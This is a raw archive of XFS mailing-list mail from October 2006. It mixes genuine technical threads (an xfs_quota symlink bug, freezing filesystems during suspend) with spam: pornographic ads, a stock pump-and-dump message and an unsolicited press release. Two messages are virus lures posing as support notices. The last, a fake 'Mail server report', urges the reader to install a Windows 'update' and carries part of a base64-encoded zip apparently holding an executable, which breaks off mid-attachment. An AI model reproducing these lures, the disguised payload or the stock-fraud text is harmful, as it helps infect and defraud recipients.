multipart/mixed; boundary="----=_NextPart_000_0007_BEB51A92.C973F50B" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Message-Id: <20061026100134.B92654DC088@cuda.sgi.com> X-Barracuda-Spam-Score: 2.61 X-Barracuda-Spam-Status: No, SCORE=2.61 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=FORGED_MUA_OUTLOOK, MSGID_FROM_MTA_ID, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24150 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally 1.36 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook X-archive-position: 9453 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: kunts@kushnir.ru Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format. ------=_NextPart_000_0007_BEB51A92.C973F50B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear user linux-xfs@oss.sgi.com, Your account was used to send a huge amount of junk email messages during the last week. Probably, your computer was infected by a recent virus and now contains a hidden proxy server. Please follow instruction in order to keep your computer safe. Have a nice day, oss.sgi.com user support team. ------=_NextPart_000_0007_BEB51A92.C973F50B Content-Transfer-Encoding: quoted-printable Content-Type: TEXT/PLAIN; charset="utf-8" Kerio WinRoute Firewall email scanner found a virus in the following attach= ment: Name: oss.sgi.com.zip Content type: application/octet-stream Additional information from antivirus: McAfee verdict: Generic Malware.a!zip =09 The attachment has been removed. ------=_NextPart_000_0007_BEB51A92.C973F50B-- From owner-xfs@oss.sgi.com Thu Oct 26 07:33:11 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 07:33:20 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9QEXAaG028480 for ; Thu, 26 Oct 2006 07:33:11 -0700 X-ASG-Debug-ID: 1161870362-7324-364-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.blinkenlights.nl (mx1.blinkenlights.nl [80.84.249.153]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4E44E4DC518 for ; Thu, 26 Oct 2006 06:46:03 -0700 (PDT) Received: from zaphod.blinkenlights.nl (zaphod.blinkenlights.nl [IPv6:2001:980:ffe:3:2e0:81ff:fe2f:bb6a]) by mx1.blinkenlights.nl (Postfix) with ESMTP id 2982C73038 for ; Thu, 26 Oct 2006 15:46:00 +0200 (CEST) Received: by zaphod.blinkenlights.nl (Postfix, from userid 1001) id 0276F17F459; Thu, 26 Oct 2006 15:45:59 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by zaphod.blinkenlights.nl (Postfix) with ESMTP id EBAE617F455 for ; Thu, 26 Oct 2006 15:45:59 +0200 (CEST) Date: Thu, 26 Oct 2006 15:45:59 +0200 (CEST) From: Sten Spans To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: xfs_quota project + symlinks Subject: Re: xfs_quota project + symlinks In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24151 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9455 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sten@blinkenlights.nl Precedence: bulk X-list: xfs Status: O On Thu, 26 Oct 2006, Sten Spans wrote: > > This is with > > root@backup:/root/backup# xfs_quota -V > xfs_quota version 2.8.11 > root@backup:/backup# ln -s foo bar > root@backup:/backup# xfs_quota -x -c 'project -c 0' > Checking project 7 (path /backup)... > xfs_quota: cannot open /backup/bar: No such file or directory > Processed 1 /etc/projects paths for project 0 > > Would it be possible to handle symlinks better ? > Perhaps a check for symlinks in project.c ? 86 if ((fd = open(path, O_RDONLY|O_NOCTTY)) == -1) 87 fprintf(stderr, _("%s: cannot open %s: %s\n"), 88 progname, path, strerror(errno)); 89 else if ((xfsctl(path, fd, XFS_IOC_FSGETXATTR, &fsx)) < 0) If path is a symlink, then the project id is applied to a file potentially on another filesystem. Wouldn't it be better to add O_NOFOLLOW here ? From owner-xfs@oss.sgi.com Thu Oct 26 07:33:08 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 07:33:18 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9QEX8aG028421 for ; Thu, 26 Oct 2006 07:33:08 -0700 X-ASG-Debug-ID: 1161869494-6456-244-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.blinkenlights.nl (mx1.blinkenlights.nl [80.84.249.153]) by cuda.sgi.com (Spam Firewall) with ESMTP id 004014DAA78 for ; Thu, 26 Oct 2006 06:31:35 -0700 (PDT) Received: from zaphod.blinkenlights.nl (zaphod.blinkenlights.nl [IPv6:2001:980:ffe:3:2e0:81ff:fe2f:bb6a]) by mx1.blinkenlights.nl (Postfix) with ESMTP id 7F56E73009 for ; Thu, 26 Oct 2006 15:31:14 +0200 (CEST) Received: by zaphod.blinkenlights.nl (Postfix, from userid 1001) id 5688717F459; Thu, 26 Oct 2006 15:31:14 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by zaphod.blinkenlights.nl (Postfix) with ESMTP id 4CD4B17F455 for ; Thu, 26 Oct 2006 15:31:14 +0200 (CEST) Date: Thu, 26 Oct 2006 15:31:14 +0200 (CEST) From: Sten Spans To: xfs@oss.sgi.com X-ASG-Orig-Subj: xfs_quota project + symlinks Subject: xfs_quota project + symlinks Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24151 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9454 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sten@blinkenlights.nl Precedence: bulk X-list: xfs Status: O This is with root@backup:/root/backup# xfs_quota -V xfs_quota version 2.8.11 root@backup:/backup# ln -s foo bar root@backup:/backup# xfs_quota -x -c 'project -c 0' Checking project 7 (path /backup)... xfs_quota: cannot open /backup/bar: No such file or directory Processed 1 /etc/projects paths for project 0 Would it be possible to handle symlinks better ? Perhaps a check for symlinks in project.c ? From owner-xfs@oss.sgi.com Thu Oct 26 08:07:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 08:07:58 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9QF7caG003443; Thu, 26 Oct 2006 08:07:38 -0700 X-ASG-Debug-ID: 1161871476-27864-692-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ELISHA-2UZE2CBG.brzi.com (pool-70-23-121-242.ny325.east.verizon.net [70.23.121.242]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9FCDED14ED61; Thu, 26 Oct 2006 07:04:37 -0700 (PDT) Message-ID: <64438810108959.9590374096@AHVIWXLD> From: "Faye Moody" <752rolf@ideiamagica.com.br> To: X-ASG-Orig-Subj: Prima esperienza giovnae pompinare qui. Subject: Prima esperienza giovnae pompinare qui. Date: Thu, 26 Oct 2006 10:01:06 -0400 MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Thread-Index: zYEw2lGyZFxKyH7XOh59bNRDcYrVGRf9hXLc Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_SC2_SA022 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24151 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 BSF_SC2_SA022 Geocities Spam Site X-archive-position: 9456 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: 752rolf@ideiamagica.com.br Precedence: bulk X-list: xfs Status: O Roberto Video con ragazze timide, che giocano con le amni con sue fighe e godono insieme. http://www.geocities.com/kayla5279 ++++++++++++++++++++++++++ Bellissim aragazza scopata in tutti i buchi ti aspetta in questo video. anyone could take for long, there were few sights worth seeing. Themutated crustaceans. That's what keeps our trade going here; theTrader would know of a master gemologist's mark, which he would From owner-xfs@oss.sgi.com Thu Oct 26 18:35:48 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 18:36:53 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9R1ZkaG003062 for ; Thu, 26 Oct 2006 18:35:47 -0700 X-ASG-Debug-ID: 1161908856-30800-117-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from rrcs-mta-03.hrndva.rr.com (rrcs-mta-03.hrndva.rr.com [24.28.200.155]) by cuda.sgi.com (Spam Firewall) with ESMTP id 414B24D2EB1 for ; Thu, 26 Oct 2006 17:27:36 -0700 (PDT) Received: from rrcs-fep-12.hrndva.rr.com (rrcs-fep-12b.hrndva.rr.com [172.28.200.150]) by rrcs-mta-03.hrndva.rr.com (8.13.5+Sun/8.12.10) with ESMTP id k9R0RZEl028166 for ; Thu, 26 Oct 2006 20:27:35 -0400 (EDT) Received: from SONYA ([24.227.244.159]) by rrcs-fep-12.hrndva.rr.com with ESMTP id <20061027002735.JIWK22191.rrcs-fep-12.hrndva.rr.com@SONYA> for ; Thu, 26 Oct 2006 20:27:35 -0400 X-ASG-Orig-Subj: Thunderpalooza Press Release Subject: Thunderpalooza Press Release To: linux-xfs@oss.sgi.com From: "Maximus Entertainment" Content-Type: multipart/alternative; boundary="----=_NextPart_000_0004_01C06B5E.74675200" Date: 10/26/2006X-Priority: 1X-MSMail-Priority: HighX-Mailer: Spyder Mailer 1.2 Message-Id: <20061027002735.JIWK22191.rrcs-fep-12.hrndva.rr.com@SONYA> X-Barracuda-Spam-Score: 2.03 X-Barracuda-Spam-Status: No, SCORE=2.03 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_FONT_BIG, INVALID_DATE, INVALID_DATE_2, MIME_HEADER_CTYPE_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24210 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 INVALID_DATE Invalid Date: header (not RFC 2822) 0.26 HTML_FONT_BIG BODY: HTML tag for a big font size 0.00 MIME_HEADER_CTYPE_ONLY 'Content-Type' found without required MIME headers 1.76 INVALID_DATE_2 Invalid Date: header (not RFC 2822) X-archive-position: 9457 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: maximusentertainment@bizaustin.rr.com Precedence: bulk X-list: xfs Status: O ------=_NextPart_000_0004_01C06B5E.74675200 Subject: Thunderpalooza Press Release To: linux-xfs@oss.sgi.com From: "Maximus Entertainment" Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01C06B5E.74675200" Date: 10/26/2006X-Priority: 1X-MSMail-Priority: HighX-Mailer: Espyder Mailer 1.3 =0D=0A=0D=0A=0D=0AUntitled=0D=0A=0D=0A=0D=0AFOR=20IMMEDIATE=20RELEASE

      =0D=0A
      ATTENTION:=20The=20Beach=20Boys=20are=20=0D=0Acoming

      THUNDERPALOOZA=20MUSIC=20FESTIVAL=20TO=20=0D=0ABENE= FIT=20BREAST=20CANCER=20AWARENESS=20AND=20UNINSURED=20CHILDREN=

      =0D=0A&nbs= p;
      The=20City=20of=20Kyle=20and=20=0D=0AHuman=20Spirit,=20a=20non-profit= =20charitable=20Corporation,=20is=20proud=20to=20announce=20the=20=0D=0Aina= ugural=20Thunderpalooza=20Music=20Festival,=20to=20be=20held=20November=203= -4,=202006=20at=20=0D=0AThunderhill=20Raceway=20(www.thunderhillraceway.com= )=20in=20Kyle,=20Texas.

      Musical=20=0D=0Aperformers=20include=20THE=20BEACH=20BOYS,=20JESSE=20COLIN=20YOUNG,=20EDDIE=20MONEY,=20MARK=20=0D= =0AFARNER
      =20(formerly=20of=20Grand=20Funk=20=0D=0ARailroad).= =20EDGAR=20WINTER,=20RICK=20DERRINGER=20and=20many=20more= =20=0D=0Aregional=20and=20local=20acts.=20Whatever=20your=20taste=20in=20mu= sic,=20you'll=20find=20something=20to=20=0D=0Ayour=20liking=20at=20Thunderp= alooza.=20You=20will=20also=20be=20helping=20to=20provide free=20=0D= =0Amammography=20services=20and=20medical=20services=20to=20uninsured=20chi= ldren=20in=20the=20Austin=20=0D=0Aarea.=20Ultimately=20we=20hope=20to=20bui= ld=20a=20mobile=20mammography=20unit=20to=20provide=20=0D=0Afree=20m= ammograms=20directly=20to=20the=20community.

      Rocky=20DeMarco,= =20Human=20=0D=0ASpirit=20Founder=20and=20Director,=20believes=20that=20Thu= nderpalooza=20can=20become=20a=20premiere=20=0D=0AANNUAL=20event=20to=20fos= ter=20the=20Central=20Texas=20music=20scene,=20and=20to=20increase=20awaren= ess=20=0D=0Aof=20breast=20cancer=20prevention=20and=20the=20many=20uninsure= d=20children=20in=20need=20of=20medical=20=0D=0Acare.=20"We=20are=20confide= nt=20that=20Thunderpalooza=20is=20now=20positioned=20to=20become=20a=20=0D= =0Apremiere=20showcase=20for=20Central=20Texas=20music,=20which=20will=20be= tter=20serve=20our=20goal=20of=20=0D=0Ahelping=20to=20save=20lives=20",=20s= aid=20Mr.=20DeMarco.

      Thunderpalooza=20is=20made=20=0D=0Apossible=20b= y=20the=20generous=20contributions=20of=20local=20businesses...like=20Crest= view=20RV,=20=0D=0AIndependence=20Brewing,=20Morris=20Glass,=20Star=20Bar,= =20Bury+Partners=20and=20KLBJ=20radio...,=20=0D=0Acorporations=20like=20Cap= italOne,=20Brown=20Distributing=20(Budweiser),=20Time=20Warner,=20and=20=0D= =0ASprint.=20H.E.B.,=20Walmart.and=20local=20officials=20such=20as=20Travis= =20County=20Sheriff=20Greg=20=0D=0AHamilton.

      Tickets=20are=20availab= le=20NOW=20through=20Star=20Tickets=20(www.StarTickets.com)=20and=20at=20=0D=0Ath= e=20event=20web=20site=20(www.Thunderpalooza.com).=20Please=20mark=20your=20ca= lendars,=20and=20plan=20=0D=0Ato=20come=20out=20and=20support=20Central=20T= exas=20music,=20local=20folks=20in=20need,=20and=20have=20a=20=0D=0Agreat= =20time...saving=20lives!

      =0D=0A 

      =0D=0AContact:=20Rocky=20=0D=0ADeMarco =20Ph:=20512-797-9090 =20Email:=20Rocky@Human-Spirit.org

      =0D=0A

       

      =0D=0A ------=_NextPart_000_0005_01C06B5E.74675200 Date: Thu, 26 Oct 2006 19:27:31 -0500 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit FOR IMMEDIATE RELEASE ATTENTION: The Beach Boys are coming THUNDERPALOOZA MUSIC FESTIVAL TO BENEFIT BREAST CANCER AWARENESS AND UNINSURED CHILDREN The City of Kyle and Human Spirit, a non-profit charitable Corporation, is proud to announce the inaugural Thunderpalooza Music Festival, to be held November 3-4, 2006 at Thunderhill Raceway (www.thunderhillraceway.com) in Kyle, Texas. Musical performers include THE BEACH BOYS, JESSE COLIN YOUNG, EDDIE MONEY, MARK FARNER (formerly of Grand Funk Railroad). EDGAR WINTER, RICK DERRINGER and many more regional and local acts. Whatever your taste in music, you'll find something to your liking at Thunderpalooza. You will also be helping to providefree mammography services and medical services to uninsured children in the Austin area. Ultimately we hope to build a mobile mammography unit to provide free mammograms directly to the community. Rocky DeMarco, Human Spirit Founder and Director, believes that Thunderpalooza can become a premiere ANNUAL event to foster the Central Texas music scene, and to increase awareness of breast cancer prevention and the many uninsured children in need of medical care. "We are confident that Thunderpalooza is now positioned to become a premiere showcase for Central Texas music, which will better serve our goal of helping to save lives ", said Mr. DeMarco. Thunderpalooza is made possible by the generous contributions of local businesses...like Crestview RV, Independence Brewing, Morris Glass, Star Bar, Bury+Partners and KLBJ radio..., corporations like CapitalOne, Brown Distributing (Budweiser), Time Warner, and Sprint. H.E.B., Walmart.and local officials such as Travis County Sheriff Greg Hamilton. Tickets are available NOW through Star Tickets (www.StarTickets.com) and at the event web site (www.Thunderpalooza.com). Please mark your calendars, and plan to come out and support Central Texas music, local folks in need, and have a great time...saving lives!Contact: Rocky DeMarco Ph: 512-797-9090 Email: Rocky@Human-Spirit.org ------=_NextPart_000_0005_01C06B5E.74675200 Date: Thu, 26 Oct 2006 19:27:31 -0500 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =0D =0D =0D Untitled=0D =0D =0D

      FOR IMMEDIATE RELEASE=0D


      ATTENTION: The Beach Boys are =0D coming

      THUNDERPALOOZA MUSIC FESTIVAL TO = =0D BENEFIT BREAST CANCER AWARENESS AND UNINSURED CHILDREN

      =0D

       
      The City of Ky= le and =0D Human Spirit, a non-profit charitable Corporation, is proud to announce the= =0D inaugural Thunderpalooza Music Festival, to be held November 3-4, 2006 at = =0D Thunderhill Raceway (www.thunderhillraceway.com) in Kyle, Texas.

      Mus= ical =0D performers include THE BEACH BOYS, JESSE COLIN YOUNG, EDDIE MONEY, = MARK =0D FARNER (formerly of Grand Fun= k =0D Railroad). EDGAR WINTER, RICK DERRINGER and many mo= re =0D regional and local acts. Whatever your taste in music, you'll find somethin= g to =0D your liking at Thunderpalooza. You will also be helping to provide fre= e =0D mammography services and medical services to uninsured children in the Aust= in =0D area. Ultimately we hope to build a mobile mammography unit to provi= de =0D free mammograms directly to the community.

      Rocky DeMarco, Hum= an =0D Spirit Founder and Director, believes that Thunderpalooza can become a prem= iere =0D ANNUAL event to foster the Central Texas music scene, and to increase aware= ness =0D of breast cancer prevention and the many uninsured children in need of medi= cal =0D care. "We are confident that Thunderpalooza is now positioned to become a = =0D premiere showcase for Central Texas music, which will better serve our goal= of =0D helping to save lives ", said Mr. DeMarco.

      Thunderpalooza is made = =0D possible by the generous contributions of local businesses...like Crestview= RV, =0D Independence Brewing, Morris Glass, Star Bar, Bury+Partners and KLBJ radio.= .., =0D corporations like CapitalOne, Brown Distributing (Budweiser), Time Warner, = and =0D Sprint. H.E.B., Walmart.and local officials such as Travis County Sheriff G= reg =0D Hamilton.

      Tickets are available NOW through Star Tickets (www.StarTickets.com= ) and at =0D the event web site (www.Thunderpalooza.com). Please mark your calendars, an= d plan =0D to come out and support Central Texas music, local folks in need, and have = a =0D great time...saving lives!

      =0D

       

      =0D

      Contact: Rocky= =0D DeMarco  Ph: 512-797-9090  Email: Rocky@Human-Spirit.org


      =0D

       

      =0D ------=_NextPart_000_0005_01C06B5E.74675200-- ------=_NextPart_000_0004_01C06B5E.74675200-- From owner-xfs@oss.sgi.com Thu Oct 26 18:39:05 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 18:39:12 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9R1d2aG003954 for ; Thu, 26 Oct 2006 18:39:04 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA26382; Fri, 27 Oct 2006 11:38:12 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9R1c87Y17670148; Fri, 27 Oct 2006 11:38:09 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9R1c2Z617661742; Fri, 27 Oct 2006 11:38:02 +1000 (AEST) Date: Fri, 27 Oct 2006 11:38:02 +1000 From: David Chinner To: "Rafael J. Wysocki" Cc: David Chinner , Nigel Cunningham , Pavel Machek , Andrew Morton , LKML , xfs@oss.sgi.com Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061027013802.GQ8394166@melbourne.sgi.com> References: <1161576735.3466.7.camel@nigel.suspend2.net> <1161850709.17293.23.camel@nigel.suspend2.net> <20061026085700.GI8394166@melbourne.sgi.com> <200610261111.30486.rjw@sisk.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200610261111.30486.rjw@sisk.pl> User-Agent: Mutt/1.4.2.1i X-archive-position: 9458 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Thu, Oct 26, 2006 at 11:11:29AM +0200, Rafael J. Wysocki wrote: > On Thursday, 26 October 2006 10:57, David Chinner wrote: > > On Thu, Oct 26, 2006 at 06:18:29PM +1000, Nigel Cunningham wrote: > > > As you have them at the moment, the threads seem to be freezing fine. > > > The issue I've seen in the past related not to threads but to timer > > > based activity. Admittedly it was 2.6.14 when I last looked at it, but > > > there used to be a possibility for XFS to submit I/O from a timer when > > > the threads are frozen but the bdev isn't frozen. Has that changed? > > > > I didn't think we've ever done that - periodic or delayed operations > > are passed off to the kernel threads to execute. A stack trace > > (if you still have it) would be really help here. > > > > Hmmm - we have a couple of per-cpu work queues as well that are > > used on I/O completion and that can, in some circumstances, > > trigger new transactions. If we are only flush metadata, then > > I don't think that any more I/o will be issued, but I could be > > wrong (maze of twisty passages). > > Well, I think this exactly is the problem, because worker_threads run with > PF_NOFREEZE set (as I've just said in another message). Ok, so freezing the filesystem is the only way you can prevent this as the workqueues are flushed as part of quiescing the filesystem. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 26 20:35:50 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 20:36:02 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9R3ZnaG005199 for ; Thu, 26 Oct 2006 20:35:50 -0700 X-ASG-Debug-ID: 1161915958-18292-123-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 3fbf.aaobe.cox.net (unknown [221.198.176.178]) by cuda.sgi.com (Spam Firewall) with ESMTP id 914E44DB665 for ; Thu, 26 Oct 2006 19:25:59 -0700 (PDT) Message-ID: <00736976105451.207E2A7396@1IR5Y> From: "Quote.com baltic" To: X-ASG-Orig-Subj: Quote.com It's still not too late to ride this wave Subject: Quote.com It's still not too late to ride this wave Date: Fri, 27 Oct 2006 10:21:17 +0800 MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Thread-Index: Wmf6FxsHgqN8StBVaQ0ts2Wn6tbTZygROYuc Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24218 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts X-archive-position: 9459 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: warrenji1@wanadoo.com Precedence: bulk X-list: xfs Status: O
      A huge chance to increase your gains with this s t o c k!
      Your lucky charms are knowledge, dedication and proper information. May these join to give you the result you’re striving for!
      We have been keeping you posted on RR EF for the last
      few days.We have watc hed the p rice steadily climb up and down
      it is really beginning to get in vestors excited as their
      hopes begin to become a reality.

      Its not to late. RRE F is still at a good pr ice to get in
      at just $0.75.

      A huge chance to increase your gains with this s t o c k!
      Your lucky charms are knowledge, dedication and proper information. May these join to give you the result you’re striving for!

      We are expecting big news release tomorrow, that will
      make the pric e Ex plode!

      Jump in with RR EF on Fri Morning and see just how
      big your returns will be before the the pri ce reaches the top.

      Lampard, who endured another miserable time in front of goal, mistimed a volley The same can be said of the bigger teams - the Brazilians, the Argentines. He has been a key leader in the development of DOE's Science Grid as well as decide if the Chelsea man should make way for Owen Hargreaves, who was an Chelsea, almost single-handedly inspiring them to Champions League and FA Cup glory. World Cup needs a seismic shock to get the tournament going and warn the big teams Cannavaro won the World Cup on his 100th appearance for Italy

      From owner-xfs@oss.sgi.com Thu Oct 26 22:24:25 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 22:24:33 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9R5OMaG001104 for ; Thu, 26 Oct 2006 22:24:25 -0700 X-ASG-Debug-ID: 1161922464-23398-848-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from PC1 (espeed18-121.brunet.bn [202.160.18.121]) by cuda.sgi.com (Spam Firewall) with SMTP id D9042D1AAF7A for ; Thu, 26 Oct 2006 21:14:25 -0700 (PDT) Received: (qmail 2894 invoked by uid 0); ôèj, 27 Oct 2006 12:11:38 -0000) Received: from unknown (HELO gtgolqdvdad) (10.100.100.200) by 10.100.100.106 with SMTP; ôèj, 27 Oct 2006 12:11:38 -0000 Date: ôèj, 27 Oct 2006 12:02:38 +0800 From: serv@phazen.net Mime-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Mail server report. Subject: Mail server report. Content-Type: multipart/mixed; boundary="-----------0C0338DE1A7D62E6" Message-Id: <20061027041425.D9042D1AAF7A@cuda.sgi.com> X-Barracuda-Header-Alert: BAD HEADER Non-encoded 8-bit data (char F4 hex) in message header 'Received' Received: (qmail 2894 invoked by uid 0); \364\350j\001, 27 Oct 200... ^ X-Barracuda-Spam-Score: 3.12 X-Barracuda-Spam-Status: No, SCORE=3.12 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HEAD_ILLEGAL_CHARS, INVALID_DATE, INVALID_DATE_2, MSGID_FROM_MTA_ID, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24224 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.01 INVALID_DATE Invalid Date: header (not RFC 2822) 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally 0.10 HEAD_ILLEGAL_CHARS Headers have too many raw illegal characters 1.76 INVALID_DATE_2 Invalid Date: header (not RFC 2822) X-archive-position: 9460 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: serv@phazen.net Precedence: bulk X-list: xfs Status: O -------------0C0338DE1A7D62E6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Mail server report. Our firewall determined the e-mails containing worm copies are being sent from your computer. Nowadays it happens from many computers, because this is a new virus type (Network Worms). Using the new bug in the Windows, these viruses infect the computer unnoticeably. After the penetrating into the computer the virus harvests all the e-mail addresses and sends the copies of itself to these e-mail addresses Please install updates for worm elimination and your computer restoring. Best regards, Customers support service -------------0C0338DE1A7D62E6 Content-Type: APPLICATION/OCTET-STREAM; name="Update-KB6328-x86.zip" Content-transfer-encoding: base64 Content-Disposition: attachment; filename="Update-KB6328-x86.zip" UEsDBBQAAAAIAAAAAABSnFZORxwAAARgAAAVAAAAVXBkYXRlLUtCNjMyOC14 ODYuZXhl7Vx7WFRl/n+BAUacYTChxcSkbWxt0ULR1hJbVBBriYY7XtHUCRHT 8BwrQx0aKJkjm7ub23VbRuzGmmm2LaarIKYiXUTLTM0boAcGBURRQOH3+b7n DILa/tU+v9/ze+Y8z8y5vN/3e7+971yemLqGeTDGNHh1dTFWgjMdEer5P532 YdB38Be+7LM+X99T4hbz9T2J6fOXBC/OWvR01uyFwXNmP/PMIiH4qXnBWeIz wfOfCY58MiF44aK58x7Q632MKuJ5U3cfvWdscf6N1z/y78X9ROPW/F/jXGG0 